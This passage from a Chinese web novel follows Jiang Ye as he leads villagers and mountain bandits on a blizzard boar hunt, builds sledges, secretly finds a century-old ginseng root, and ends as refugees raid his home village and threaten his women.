她秀眉微蹙,心中升起一丝疑虑,这种能见度,就算是视力最好的猎人,也不可能看清那么远的地方。
护院队的汉子们面面相觑,他们虽然被暴雪和疲惫折磨得心生退意,但江夜的话,对他们而言已经形成了近乎本能的指令。即便心中同样充满疑虑,可身体却已经下意识地调整好了姿态,等待着下一步的命令。
而慕容晴身后的凤啸寨众人,则没那么多顾忌了。
“开什么玩笑?这种鬼天气,能看到个啥?”
“寨主都说要撤了,这江爷是不是有点托大了?”
“是啊,万一判断失误,把大伙儿都陷在这儿,那可就糟了……”
窃窃的私语声在风雪中响起,虽然很轻,但依旧透着明显的不信任。在他们看来,江夜的判断太过武断,近乎**。
面对众人的质疑和慕容晴的郑重警告,江夜没有解释。
他的目光从那些窃窃私语的凤啸寨汉子脸上一扫而过,最终落在了脚边正抖着身上雪花的团子身上,给了它一个眼神。
团子心领神会,喉咙里发出一声兴奋的低吼,银白色的身影在风雪中拉出一道残影,毫不犹豫地带头向那个被风雪笼罩的山坳方向窜去。
江夜抬手,向前一挥。
“跟上。”
简单的两个字,不带丝毫情绪,却透着一股不容置疑的威严。
王囤和二十名护院没有片刻迟疑,立刻迈开脚步,紧随在后。
慕容晴看着江夜坚定的背影,又看了看自己那些满脸犹豫的手下,银牙一咬,火红的身影也跟了上去。凤啸寨的众人见状,也只能硬着头皮,深一脚浅一脚地跟在队伍后面。
风雪更大了,队伍里的气氛愈发沉闷。
积雪已经没到了大腿根,每一步都像是在泥沼中跋涉,体力消耗得极快。
凤啸寨的汉子们脸上写满了焦躁,他们不时警惕地望向四周,又时不时地看向江夜的背影,眼神复杂,既有山匪的悍勇,也有一丝对未知前路的恐惧。
在他们看来,江夜这无疑是拿所有人的性命在**。
江峰也跟得气喘吁吁,他看着自家弟弟那从容的背影,心里也是七上八下。他相信小夜的本事,可这山里的暴雪,他从小到大见了不知多少次,每一次都伴随着死亡。
万斤肉的豪言固然提气,可终究比不上活生生的性命重要。
队伍就这样在死寂的风雪中,艰难地跋涉了近半个时辰。就在几个凤啸寨汉子几乎要忍不住开口劝阻时,队伍翻过了一道低矮的山梁。
奇异的一幕发生了。
仿佛有一道无形的屏障,将狂风阻隔在外,肆虐的风雪骤然减小,四周一下子安静了许多。
江夜停下脚步,缓缓抬起右手,做了一个噤声的手势。
几乎是本能反应,所有人都在瞬间屏住了呼吸,沉重的喘息声都压抑了下来。他们侧耳倾听,起初只能听到自己“咚咚”的心跳声。
渐渐地,一阵细微的、不同于风雪的声音,从前方不远处的山坳里隐约传来。
“哼哧……哼哧……”
“咔嚓……咔嚓……”
那是某种大型野兽喘息和用蹄子刨开冻土的声音!而且数量绝对不少!
一瞬间,所有人的眼睛都瞪大了。
江峰脸上的忧虑瞬间被狂喜取代,他不敢置信地看向江夜,嘴巴张了张,却激动得一个字都说不出来。
慕容晴的美眸中也爆发出惊人的亮光,她死死地盯着前方的山坳,握着剑柄的手因为激动而微微颤抖。
那些原本满腹牢骚的凤啸寨汉子,
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此刻脸上的表情像是见了鬼一样,惊疑、震撼、狂喜,种种情绪交织在一起,精彩到了极点。
江夜没有理会众人的反应,他对着众人打了个手势,示意他们压低身子,然后率先躬下腰,悄无声息地朝着旁边一处被积雪覆盖的高坡爬去。
所有人都有样学样,将呼吸放到最轻,动作放到最缓,像一群幽灵,无声无息地跟在他身后。
当他们终于爬上高坡,小心翼翼地拨开面前的灌木,探头向下望去时——
下一秒,时间仿佛静止了。
“嘶——”
院子里响起一片倒吸凉气的声音,汇成了一股令人牙酸的声浪。
所有人都像是被施了定身法,僵在原地,大脑一片空白,彻底懵了。
只见下方的山坳盆地里,黑压压的一片,全是攒动的身影!
那是一群野猪!
密密麻麻,大的、小的,公的、母的,一眼望去,根本数不清到底有多少头!至少有上百头!
它们正聚在一起,疯狂地用长长的獠牙和坚硬的猪嘴,拱开厚厚的积雪,啃食着地下的草根和块茎。
在这群庞大的野猪群中央,一头体型格外醒目的巨兽,正慵懒地卧在地上。
它的体型,几乎堪比一头成年的牛犊!一身黑色的鬃**如同钢针般根根倒竖,两根粗壮弯曲的獠牙,从嘴边狰狞地翻出,在灰暗的天光下闪烁着森冷的寒芒,如同两柄出鞘的弯刀。
它只是偶尔抬起头,用那双闪烁着暴虐红光的小眼睛扫视一下四周,周围那些体型同样不小的公猪便会立刻畏惧地低下头,不敢与之对视。
野猪王!
这绝对是一头活了不知多少年的野猪王!
“我的……老天爷……”
江峰哆哆嗦嗦地吐出几个字,整个人已经彻底傻了。
他打了一辈子猎,见过最大的野猪群,也不过十几头。眼前这上百头野猪**的场面,他连做梦都不敢这么想!
凤啸寨的那些悍匪,此刻也一个个跟被雷劈了似的,眼珠子瞪得溜圆,一句话也说不出来。
震撼!
极致的震撼!
他们终于明白,江爷那句“有大家伙”,说的是什么了。
这哪里是大家伙,这**是一座会移动的肉山啊!
慕容晴的一双凤眸,死死地盯着下方的野猪群,眼中全是震撼,她猛地转过头,看向身旁那个从始至终都神情淡漠的男人。
他是怎么知道的?
在那种能见度几乎为零的暴雪天气里,隔着这么远,他是怎么精准地判断出这里有一个如此庞大的野猪群的?
这已经不是经验和眼力能够解释的了。
这是神迹!
这一刻,所有人心中的那点疑虑、不信任,甚至是抱怨,全都在这震撼人心的场面面前,被碾得粉碎。
万斤肉?
看着下面那黑压压的一片,所有人的脑子里都只剩下一个念头。
何止万斤!
这要是全拿下了,怕是两万斤都不止!
几个汉子激动得满脸通红,张开嘴就想发出一声压抑不住的欢呼,将胸中的狂喜彻底宣泄出来。
然而,就在此时,江夜回过头,冰冷的眼神淡淡地扫了过来。
那眼神里没有任何情绪,却瞬间浇灭了所有人头顶的火焰。
准备欢呼的汉子们猛地将声音卡在喉咙里,立刻噤若寒蝉,整个山坡再次恢复了死一般的寂静。
第147章 神之一箭
山坡上的狂喜与震撼,没有半分染上江夜的脸。
他迅速扫了一眼山坳的地形,谷口狭窄,两侧陡峭,是个天然的绝杀之地。
他的手,快速而简洁地打出了几个手势。
那是护院队连日来用血汗烙印进骨子里的指令。
几乎是在手势出现的瞬间,王囤等人眼中的狂热被绝对的服从压下。
二十名护院仿佛化作了二十道与雪地融为一体的影子,没有发出一丝声响,悄无声息地分作两队。
一队由王囤带领,如幽灵般滑下山坡,迅速抢占了山坳唯一的出口,在两侧的岩石与树木后方张弓搭箭,形成了一道死亡的封锁线。
另一队则在江峰的带领下,散布在山坡的另一侧,同样拉开了强弓,箭尖斜指下方,与王囤的队伍形成了致命的交叉火力。
整个过程行云流水,快得让人眼花缭乱,二十个人,竟像是同一个人的分身,那份深入骨髓的默契与纪律,让旁边凤啸寨的悍匪们看得头皮发麻。
做完这一切,江夜的目光转向慕容晴。
他没有说话,只是用眼神示意了一下山坳的左侧翼。
慕容晴瞬间领会。
她那双漂亮的凤眸里,早已被熊熊燃烧的战意填满。
她看着江夜那张冷静到可怕的侧脸,心脏不受控制地狂跳,那不是恐惧,而是极致的兴奋。
这个男人,总能将不可能,变为理所当然。
她没有半句废话,对着身后那群还在发愣的手下压低声音,只说了一个字。
“上!”
十几名凤啸寨的精锐一个激灵,连忙压下心中的骇然,跟着慕容晴矫健的身影,悄无声息地潜入了侧面的密林之中。
一张无形的大网,就此张开。
山坡上,一切准备就绪。
江夜缓缓从背后取下那张通体黝黑的强弓,他的箭尖,稳稳地,直指猪群中央那头小牛犊般硕大的野猪王。
“咻——!”
没有给任何人反应的时间,弓弦骤然一松!
那支凝聚了恐怖力量的箭矢,瞬间化作一道撕裂风雪的黑色闪电,以肉眼难以捕捉的速度,悍然跨越百米距离!
下方,那头正慵懒地用鼻子拱着冻土的野猪王,似乎是野兽的本能让它察觉到了来自天空的致命威胁。它猛地抬头,那双暴虐的小眼睛里,倒映出一道急速放大的黑影。
但,太晚了。
“噗嗤!”
一声闷响,清晰地传到山坡上每个人的耳中。
那道黑色闪电,以一种不讲道理的姿态,精准无比地从野猪王左边的眼窝**入,巨大的动能带着它贯穿了整个头颅,一截染血的箭尾,从后脑勺狰狞地透出!
“嗷——!!!”
一声短促到极致、凄厉到极点的哀嚎,从野猪王的喉咙里爆发出来。
它那小山般的庞大身躯猛地一僵,随即如同被抽掉了所有的骨头,轰然倒地。
粗壮的四肢在雪地里疯狂地抽搐了几下,溅起漫天血污与泥土,便彻底没了动静。
不可一世的野猪王,一箭毙命!
整个猪群,在短暂的死寂后,瞬间炸开了锅!
王者的骤然死亡,让它们陷入了极致的混乱与惊恐。
上百头野猪像没头的苍蝇一样,发出惊恐的哼叫,开始疯狂地四处乱窜。
就在此时,江夜冰冷的声音,清晰地响彻在每个人的耳边。
“放箭!”
命令下达的瞬间。
“咻咻咻咻——!”
早已准备就绪的护院队,毫不犹豫地松开了弓弦。
两面箭雨,一前一后,带着尖锐的呼啸,从天而降,狠狠地泼洒进那混乱的猪群之中。
“噗!噗!噗!”
利箭入肉的声音密集如雨打芭蕉。
冲在最前面的十几头野猪,身上瞬间插满了箭矢,连悲鸣都来不及发出,便翻滚着倒在血泊之中,巨大的惯性让它们在雪地上滑出老远。
血腥味彻底引爆了猪群的疯狂。
它们本能地朝着唯一的生路,也就是那处被王囤等人封锁的山谷出口,如同一股黑色的洪流,猛冲过去!
它们冲进的,正是死亡的怀抱。
“杀!”
王囤发出一声怒吼,扔掉手中的弓,一把抽出腰间那柄寒光闪闪的佩刀。
刀光亮起!
惨嚎声、刀刃入肉的闷响、汉子们粗犷的怒吼声,瞬间响彻整个山谷。
一场血腥的**,正式开始!
江夜手下的护院队,在这一刻,展现出了与他们农户身份截然不符的恐怖战斗力。
他们没有像凤啸寨的悍匪那样各自为战,而是严格按照训练时的要求,三人一组,结成一个个小小的战阵。
一人持刀正面主攻,吸引野猪的注意;另外两人则从两侧协同,手中的佩刀如同毒蛇的獠牙,专门寻找野猪脖颈、腹部等脆弱之处下手。
进退有据,配合默契,攻守兼备。
一头红了眼的公猪,仗着皮糙肉厚,低头猛冲,试图撞翻面前的敌人。
正面的那名护院不闪不避,沉腰立马,用刀背狠狠拍在野猪的头顶。巨大的冲击力让他连退三步,气血翻涌,但却成功地让野猪的冲势一滞。
就是这一瞬间的停顿!
旁边的两名同伴,刀光一闪,两柄佩刀已经一左一右,狠狠地捅进了野猪柔软的腹部,用力一绞!
“嗷!”
野猪发出一声惨叫,轰然倒地。
整个过程,不超过三个呼吸。
高效,冷静,如同最精密的杀戮机器。
另一边,凤啸寨的众人也从林中杀出,与护院队形成了完美的合围。
这些悍匪的战斗方式就要狂野得多。他们嗷嗷叫着,挥舞着手中的兵器,与横冲直撞的野猪战成一团。虽然没有护院队那般精妙的配合,但常年在刀口舔血练就的狠辣,同样致命。
战斗结束得快得超乎想象。
前后不过一炷香的时间,山谷内震天的喊杀声与野猪凄厉的惨嚎便戛然而止。
地上躺满了大大小小的野猪尸体,温热的血液将皑皑白雪融化、浸透,形成了一片片触目惊心的暗红色沼泽,还在冒着丝丝缕-缕的热气。
这是一幅地狱般的景象。
然而,站在这片尸山血海中的每一个人,脸上却没有丝毫的恐惧,只有粗重喘息,和一种近乎癫狂的兴奋。
“呼……呼……”
一个护院汉子半跪在地上,胸膛剧烈地起伏着。
他看着脚下一头被开膛破肚的野猪,又看了看自己沾满血污的双手,忽然咧开嘴,发出一阵嘿嘿的傻笑。
赢了。
他们竟然真的赢了。
而且是以一种近乎碾压的姿态,全歼了这上百头野猪组成的庞大族群!
另一边,凤啸寨的十几个悍匪,此刻也彻底没了声音。
他们一个个杵在原地,眼神呆滞地看着眼前这片血色的屠宰场。
作为常年在刀口上舔血的亡命徒,他们杀过人,见过血,自问心狠手辣。
可眼前这般高效、冷酷的屠戮场面,依旧狠狠
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冲击了他们的认知。
尤其是江夜手下那二十名护院的表现,更是让他们从心底里感到一阵发毛。
那不是战斗,那是分工明确的流水线作业。
三人一组,攻守兼备,冷静得就像是没有感情的杀戮机器。从头到尾,没有一丝混乱,没有一句多余的废话,只有最精准的判断和最致命的攻击。
这**哪里是乡下来的农户?
就算是府城里最精锐的官兵,也绝对做不到如此令行禁止!
他们再看向那个站在山坡上,自始至终连位置都未曾移动半分的男人,眼神彻底变了。
那是一种混杂着敬畏、恐惧与匪夷所思的复杂目光。
江峰也傻了。
他这个打了一辈子猎的老猎人,此刻感觉自己的世界观被彻底颠覆。他看看满地的野猪尸体,又看看远处那个身姿挺拔、神情淡漠的弟弟,嘴巴张了半天,却一个字也说不出来。
万斤肉?
他之前还觉得小夜是在说大话,可现在看来……
何止万斤!
慕容晴站在江夜身侧不远处,她火红的劲装在血色雪地的映衬下,更显妖异。
她的一双凤眸,死死地盯着下方那片屠宰场,胸口微微起伏,握着剑柄的手,因太过用力而指节泛白。
她猛地转过头,看向江夜。
风雪中,男人的侧脸轮廓分明,眼神平静得像一汪深不见底的寒潭。仿佛眼前这足以让任何人疯狂的战果,在他眼中,不过是理所当然。
从一开始的精准判断,到那神乎其技、一箭毙命的惊艳箭术,再到此刻运筹帷幄、掌控全场的王者气度……
这个男人,到底还隐藏了多少秘密?
慕容晴的心,跳得越来越快。
就在此时,王囤带着几个护院,跑了过来。
他浑身浴血,脸上却带着一种极致的狂热,跑到江夜面前,“噗通”一声单膝跪地,声音因为过度激动而剧烈颤抖。
“主……主人!清点……清点完了!”
他抬起头,那张憨厚的脸上,此刻写满了崇拜。
“野猪,共计一百一十三头!其中,小的七十二头,大的四十头!还有那头……那头野猪王!”
王囤说到这里,狠狠地咽了口唾沫,声音都变了调。
“总重……总重绝对超过一万五千斤!”
一万五千斤!
当这几个字如同惊雷般在死寂的山谷中炸响时,时间仿佛凝固了一瞬。
所有人的呼吸,都在这一刻停滞了。
下一秒。
“嗷——!!!”
比之前任何一次都更加狂暴的欢呼声,如同积蓄已久的火山,轰然爆发!
“万斤肉!我们做到了!”
“一万五千斤!老天爷啊!”
“主人威武!!!”
二十名护院彻底疯了,他们扔掉手里的兵器,互相用力的捶打着对方的胸膛和后背,用最原始的方式宣泄着心中的狂喜。
凤啸寨的众人,被这股山呼海啸般的狂热彻底淹没了。
他们看着那群对着江夜顶礼膜拜的护院,脸上的表情精彩到了极点。
震撼、骇然、羡慕……最后,全都化为了一股发自内心的敬畏。
他们终于明白,自己这些人之前那些所谓的质疑和担忧,是多么的可笑。
几个之前在背后窃窃私语的悍匪,此刻只觉得脸上一阵火辣辣的疼,恨不得找个地缝钻进去。
他们看向江夜的眼神,再也没有了半分怀疑,只剩下纯粹的,对强者的臣服。
第148章 天降横财
然而,欢呼过后,新的难题摆在了眼前。
本就是鹅毛大雪,这么一折腾,天色都暗了几分,雪粒子夹杂着冰碴,劈头盖脸地往下砸,打在人脸上生疼。
之前被鲜血染红的雪地,很快又被一层厚厚的白色覆盖。
“咕咚。”
一个凤啸寨的悍匪看着眼前这壮观又令人头皮发麻的景象,忍不住咽了口唾沫。
别说是这上万斤的猎物,就是他们自己,想要走出这深山都成了奢望。
刚刚升起的万丈豪情,瞬间被一片愁云取代。
“这……这可咋办?”江峰脸上的狂喜褪去,换上了浓浓的忧虑,他跺了跺脚,雪已经快没过膝盖了,“雪太大了,再过半个时辰,路就全没了!这些肉……怕是带不出去了。”
护院队的汉子们也笑不出来了,一个个看着满地的野猪尸体,又看看这恶劣的天气,满脸都是焦急和不甘。
费了这么大劲,难道就要把这到嘴的肉山给扔在这儿?
凤啸寨的悍匪们更是骂骂咧咧起来。
所有人的目光,都下意识地汇聚到了那个站在山坡上的男人身上。
风雪中,江夜的神情依旧淡然得可怕。
他没有理会众人的焦躁,只是走到一棵碗口粗的白桦树旁,抬脚踢开树根处的积雪,反手抽出了腰间的佩刀。
“唰!”
寒光一闪,刀锋带着一股劲风,狠狠劈在树干上。
“咔嚓!”
只听几声干脆利落的脆响,在众人惊愕的目光中,那棵白桦树应声而倒,溅起一片雪沫。
所有人都愣住了,不解地看着他。
这都火烧眉毛了,砍树干什么?
江夜没有解释。
他手中的佩刀仿佛有了生命,在一截粗壮的树干上灵活地翻飞。
削、砍、劈、凿,动作快得让人眼花缭乱。
神级工匠技艺,发动!
木屑纷飞中,不过短短一盏茶的功夫,两根底部宽阔、前端微微翘起的长条形木板,就在他手中奇迹般地成型。他又砍下几根坚韧的藤条,用刀削去表皮,在木板上凿出几个孔洞,将几根横木牢牢地捆绑固定。
一个结构简单,却异常坚固的雪橇雏形,就这么诞生了。
“这……这是……雪橇?!”
一个曾经在城里木匠铺当过学徒的护院,最先反应过来,他看着那简易而实用的雪橇,惊得眼珠子都快瞪出来了,声音都变了调。
一言惊醒梦中人!
所有人瞬间懵逼,随即,脸上爆发出比刚才猎杀野猪时更加强烈的狂喜和崇拜!
“我的天!我怎么就没想到!”
“有了这玩意儿,别说一万斤,两万斤也能拖出去啊!”
“主人……主人简直是神仙下凡!”
所有人心中的阴霾一扫而空,看向江夜的眼神,已经不能用崇拜来形容,那简直是在看一尊无所不能的神祇!
慕容晴站在一旁,一双凤眸异彩连连。
她看着江夜专注的侧脸,看着他手中那把削铁如泥的佩刀,在木头上灵巧地跳跃,心脏再次不争气地狂跳起来。
这个男人,到底还有多少惊喜是她不知道的?
武艺超群,箭术通神,运筹帷幄,现在……连这种木匠的活计,都能做到宛如神迹的程度。
“都愣着干什么?”江夜的声音将众人从震撼中拉了回来,“照着这个样子,做几十个出来!快!”
“是!”
这一次,再没有人有半分迟疑。
王囤第一个带头,学着江夜的样子,挥刀砍向旁边的大树。
其余人也纷纷上前,在江夜的指挥下,砍树的砍树,剥皮的剥皮,用坚韧的藤条制作绳索,整个山谷瞬间变成了一个热火朝天的木工房。
原本狂野不羁的凤啸寨悍匪,此刻也老实得像鹌鹑一样,吭哧吭哧地埋头干活,看向江夜的眼神里,充满了敬畏。
江夜一边指挥着众人,一边也在亲手制作第二个雪橇。
他走到一棵斜坡上的老树旁,准备砍断其裸露在外的粗壮树根作为雪橇的横梁。
佩刀砍在树根上时,江夜眉头微不可察地一挑,刀尖传来的触感不对,不像是砍在木头上。
他心中一动,脸上却毫无波澜,若无其事地换了个位置,继续指挥旁边的人:“那边,那棵树的藤蔓够结实,多弄点下来。”
支开了旁边的人,他才蹲下身,装作清理树根的样子,不动声色地拨开厚厚的积雪和冻土。
很快,一抹与普通树根截然不同的东西,显露出来。
那是一丛红色的、玛瑙珠子般的果实,在灰暗的雪地里显得异常鲜艳。果实下方,几缕土黄色的、带着细密纹路的根须,深深扎入冻土之中。
江夜的眼神瞬间一凝。
人参!
而且看这芦头、看这体态、看这密集的螺旋纹……这绝对是一株年份极高的野山参!
饶是以江夜的心性,心脏也不由得狠狠一跳,一股狂喜涌上心头。
在这深山老林里,年份超过五十年的老参,就已经是可遇不可求的宝贝,能卖出天价。而眼前这一株,看品相,恐怕已经有百年之龄!
这已经不是药材了,这是能吊命的仙草!
他深吸一口气,强行压下心中的激动,脸上依旧是那副淡漠的表情。
然后,他才借着一个无人注意的间隙,再次回到那棵老树旁。
他没有用那柄显眼的佩刀,而是从怀中摸出了一把锋利的**,小心翼翼地,一点一点地刨开周围的冻土。他的动作极快,却又极稳。
很快,一株形态饱满、须发完整、宛如一个沉睡婴孩的老山参,被他完整地从土里剥离出来。
老参入手,沉甸甸的,一股浓郁而奇异的清香瞬间钻入鼻孔,让他浑身的毛孔都舒张开来。
江夜心念一动,手中的百年老参瞬间消失不见,被他悄无声息地收入了灵泉空间之
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中。
做完这一切,他才拍了拍手上的泥土,站起身,仿佛什么事都没发生过一样,继续监督众人干活。
半个时辰后,在众人齐心协力之下,十几架巨大而坚固的雪橇,整齐地摆放在雪地之上。
凤啸寨的众人看着这些结构精巧的雪橇,眼中满是惊叹。
一个满脸络腮胡的悍匪凑到同伴身边,压低声音道:“**,老子以前觉得寨主就够厉害了,又会打又会算计。今天见了这位江爷,我才晓得啥叫天外有天。”
另一个悍匪深以为然地点头,目光瞟向江夜,满是敬畏:“可不是么,这你说,这天底下还有他不会的么?”
他们的议论声虽小,却清晰地落入了慕容晴的耳中。她俏脸微微一红,心中却涌起一股莫名的骄傲,仿佛被夸奖的人是她自己。
“别看了,搬东西!”王囤一声大喝,打断了众人的惊叹。
汉子们立刻行动起来,山谷里再次充满了粗重的喘息和嘿咻的号子声。
一头头数百斤重的野猪,被三五人合力抬起,沉重地砸在雪橇上,压得木板发出“嘎吱”的呻吟。
护院队的汉子们喝过虎骨酒,力气大得惊人,一个人就能拖着一头小猪走,看得凤啸寨那帮人眼皮直跳。
很快,几十架雪橇全都堆得像小山一样高,上面是层层叠叠的野猪尸体,用藤条捆得结结实实,场面壮观到了极点。
江夜走到队伍最前方,目光扫过一张张被冻得通红却又兴奋无比的脸,大手向前一挥。
“返程!”
“噢——!”
一声震天的欢呼,压过了风雪的呼啸。
队伍动了。
二十名护院在前,凤啸寨的人和江峰在后,所有人肩上都扛着粗大的藤条,弓着身子,脚下踩着厚厚的积雪,将全身的力气都灌注进去。
“一!二!走!”
王囤扯着嗓子喊着号子,满载的雪橇在雪地上缓缓滑动,发出一阵沉重的摩擦声,随即越来越快。
江峰一边拉着绳子,一边回头看着身后那壮观的“肉山”,咧开的大嘴就没合上过。
他感觉自己不是在拉雪橇,而是在拉着一辈子的荣耀。他再看向走在最前面的弟弟,那挺拔的背影仿佛能将这漫天风雪都劈开,一股无法言喻的自豪感,涨得他眼眶发热。
慕容晴同样拉着一根藤条,她那双漂亮的凤眸,一刻也没有离开过江夜的背影。
风雪吹乱了她的发丝,她却毫不在意。这个男人,就像一座深不可测的冰山,你以为看到了他的全部,他却总能在下一刻,展露出海面下更加庞大、更加震撼的体量。
她的心跳得厉害,一种混杂着敬畏、好奇与痴迷的情绪,在她心底疯狂滋长。
跟着他,或许真的能看到一个完全不一样的世界。
队伍浩浩荡荡,向着山下进发,那几十道宽阔的辙痕,在白茫茫的天地间,坚定地指向家的方向。
第149章 风雪断归路
与此同时,稻花村。
天,像是被人捅了个窟窿。
起初只是鹅毛般的雪片,洋洋洒洒,可不过一炷香的功夫,风陡然变得尖锐,雪片化作了密集狂乱的雪粒子,夹杂着冰碴,疯狂地抽打着村庄里的一切。
能见度,不足十步。
“老天爷!这雪是疯了吗!”
一个村民推开门,刚探出头,就被迎面而来的风雪灌了一脖子,他打了个哆嗦,骇然地望着外面白茫茫的世界。
更多的村民被这突如其来的暴雪惊动,纷纷从温暖的屋里走出来,或从窗户缝里探头探脑。当他们看清外面那遮天蔽日、仿佛要将整个村庄吞噬的雪势时,所有人的脸上都写满了震惊与骇然。
“江夜兄弟他们……今天进山了啊!”
不知是谁喊了一句,人群瞬间炸了锅。
所有人都知道江夜带着护院队进山冬猎,还夸下海口要打上万斤肉。
之前大家还当个笑话听,可眼下,这笑话却变成了悬在每个人心头的一块巨石。
“坏了,坏了!这么大的雪,山里头比这儿要大十倍!这路……怕是全没了!”村里几个上了年纪的老猎户,看着天色,布满褶子的脸拧成了疙瘩,不住地摇头。
其中一个姓赵的老猎户,是村里最有经验的猎人,他吐掉嘴里的旱烟,声音沙哑而凝重:“这种天,山里头就是活阎王的嘴,进去就别想出来。别说是人,就是熊瞎子都得老老实实趴窝里。这雪要是再下半个时辰,神仙也走不出那大山。”
他的话,像一盆冰水,浇灭了所有人心中最后一丝侥幸。
村民们一片死寂,随即是无法抑制的叹息声。
“哎,江夜那后生是厉害,可终究是肉体凡胎,哪能跟老天爷斗啊。”
“可惜了,那么好的一个人,还有那二十个大小伙子,都是家里的顶梁柱啊……”
惋惜和恐惧在人群中蔓延。在他们看来,江夜再怎么神勇,也无法与这恐怖的天灾抗衡。
这一次,怕是真的回不来了。
村口,风雪最大的地方。
白梦夏、白梦秋、林间雪,还有江秀兰等一众护院的家眷,早已**在了那里。
寒风像刀子一样刮在她们脸上,单薄的衣衫根本抵挡不住彻骨的寒意,但她们却像是感觉不到一般,只是死死地望着通往大山的方向,那片被风雪彻底模糊的白色尽头。
雪花落在她们长长的睫毛上,又被体温融化,混杂着不知何时涌出的泪水,顺着苍白的脸颊滑落,瞬间结成冰霜。
白梦夏紧紧攥着妹妹和林间雪的手,指节因为太过用力而泛白,试图传递一丝力量,可她自己的身体也在微微颤抖。
人群后方,王翠花缩着脖子,看着村口那几道单薄的身影,脸上却浮现出一丝病态的快意。
“活该!叫他张狂!还万斤肉,我看是把命都搭进去了吧?这么大的雪,肯定是让狼给叼了,尸首都找不着!”
她的声音不大,但在风雪的间隙中,却显得异常刺耳。
旁边的王大壮听得清清楚楚,他胸口一股邪火“噌”地就冒了上来。
这些天,他眼睁睁看着江夜家日子越过越好,看着那些护院一个个神气活现,吃香的喝辣的,再看看自己家,依旧是冷锅冷灶,婆娘还整天怨天尤人,心
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里的悔恨和憋屈早就积满了。
此刻听到王翠花这恶毒的诅咒,他再也忍不住了。
“你给老子闭上你那张乌鸦嘴!”
王大壮一声怒吼,把王翠花吼得一愣。
她不敢置信地看着自己的男人,自从上次和王大壮爆发了争吵后,这男人竟然越来越不把自己放眼里了。
就在她准备叉腰撒泼的时候,村长拄着拐杖,深一脚浅一脚地走了过来。
他看着漫天大雪,重重地叹了口气,浑浊的老眼里满是忧虑。
“都回去吧,别等了。”村长的声音被风吹得有些散,“这天,太吓人了。江夜他们……怕是……哎!都回去吧!”
“还有一件事,我刚刚从镇上回来的货郎那里听说,今年这雪灾,比往年都厉害,附近几个州县都遭了灾,到处都是活不下去的流民。咱们村……怕是也要不太平了。都回去,把门窗锁死,天黑了千万别出门!”
流民!
这两个字像一块更重的石头,砸在了每个人的心上。
天灾,人祸……
村民们脸上的忧虑,瞬间变成了实实在在的恐惧。
而村口那几道倩影,更是如遭雷击。
村长的话,像压垮骆驼的最后一根稻草,彻底击碎了她们心中所有的希冀。
白梦夏身体猛地一晃,几乎站立不稳,若不是白梦秋和林间雪死死扶着,她恐怕已经瘫倒在地。林间雪和白梦秋也是眼前一黑,眼泪如同断了线的珠子,汹涌而出。
他回不来了……
她们的男人,回不来了……
这个念头,像一把淬了冰的尖刀,狠狠扎进她们的心脏。
第150章 匹夫之怒
绝望,如同这漫天的风雪,冰冷而无孔不入,钻进稻花村每一个人的骨髓里。
就在所有人都被这彻骨的悲伤与恐惧淹没时,一个眼尖的村民突然指着大山的方向。
“看!那是什么!”
众人猛地抬头。
只见那白茫茫的风雪尽头,隐约出现了一行移动的黑点。
黑点很小,但在这一片纯白的世界里,却又是那么的显眼。
“回来了!是江夜兄弟他们回来了!”
“我就说嘛!江夜兄弟不是一般人,这点风雪算什么!”
死寂的村口瞬间活了过来,村民们精神大振,脸上重新燃起了希望,纷纷伸长了脖子,想要看得更清楚些。
白梦夏三女也像是抓住了救命稻草,止住泪水,死死地盯着那越来越近的黑点,一颗心提到了嗓子眼。
然而,随着黑点越来越近,越来越清晰,村民们脸上的笑容,一点点地凝固了。
那不是江夜的队伍。
来人约莫四五十个,一个个衣衫褴褛,面黄肌瘦,手里却都拿着家伙流民。
他们的眼神,不像人,更像是饿了几天几夜,马上要扑上来**的野狼。
为首的,是一个身材高大的独眼龙壮汉,脸上有一道从眼角延伸到嘴角的狰狞刀疤,随着他嘴角的抽动,像一条蜈蚣般扭曲着,浑身散发着浓烈的煞气。
流民!
村长刚刚警告过的话,在每个人脑中炸响。
村民们脸上的希望,瞬间化为比刚才更加极致的恐惧。
“快……快跑!”不知是谁喊了一声。
人群“轰”的一声炸开,所有人连滚带爬地就想往村里跑。
“嘿嘿嘿……”独眼龙看着惊慌失措的村民,将手中的大刀向前一挥,“给老子抢!吃的、穿的、娘们儿,一个都别放过!”
“噢!!”
身后的流民们发出一阵野兽般的嚎叫,如开闸的洪水,疯狂地冲进了稻花村。
“砰!”
离得最近的一户人家的院门,被一个流民一脚踹开。
“你们干什么!滚出去!”屋主是个四十多岁的汉子,他抄起一把锄头冲了出来。
回答他的,是一根迎面而来的木棍。
“嘭”的一声闷响,汉子惨叫一声,额头鲜血直流,直挺挺地倒了下去。几个流民一拥而上,冲进屋里,很快就传来了女人和孩子的尖叫,以及锅碗瓢盆被砸碎的声音。
这一幕,只是一个开始。
整个稻花村,瞬间沦为人间地狱。
哭喊声、咒骂声、女人的尖叫、孩子的啼哭,混杂在一起,响彻了风雪。
独眼龙没有急着动手,他像一头巡视领地的饿狼,目光在混乱的人群中缓缓扫过。
突然,他的独眼猛地一亮。
视线,死死地锁定了因为惊恐而没能第一时间跑掉的白梦夏、白梦秋和林间雪三女。
风雪中,三个女人紧紧靠在一起,虽然俏脸煞白,满是泪痕,却依旧难掩那倾国倾城的绝色。一个温婉动人,一个娇俏可爱,一个丰腴妩媚,在这混乱破败的村庄里,简直像是画中走出的仙子。
“咕咚。”
独眼龙狠狠咽了口唾沫,眼中爆发出贪婪至极的淫邪光芒。他伸出舌头,舔了舔干裂的嘴唇,用手中的大刀遥遥一指。
“那三个,给老子抓活的!”
“是,老大!”
独眼龙身边两个最是健壮的流民,立刻狞笑着,搓着肮脏的手,朝三女扑了过去。
白梦夏姐妹和林间雪吓得魂飞魄散,看着那两张丑陋而充满欲望的脸,只觉得胃里一阵翻江倒海。她们尖叫着,绝望地向后退去,直到后背抵在了冰冷的村口石碑上,退无可退。
完了……
冰冷的绝望,如同潮水,将她们彻底淹没。
就在那两只肮脏的大手即将触碰到白梦夏的肩膀时,一声压抑到极致的怒吼,猛然炸响!
“畜生!滚开!”
这声音,竟是王大壮发出的!
他不知从哪里抄起了一根晒衣服用的粗木棍,双眼布满血丝,死死地瞪着那两个流民,挡在了三女面前。
他浑身都在抖,一半是气的,一半是怕的。
可他没有退。
这些天,他心里憋着一股火。悔恨、憋屈、嫉妒,还有被妻子王翠花骂作窝囊废的羞辱,几乎要把他烧着了。
此刻,看着江夜的女人即将受辱,看着这群畜生在村里肆虐,他脑子里那根名为理智的弦,“啪”的一声就断了。
冲上去!
不能再当窝囊废!
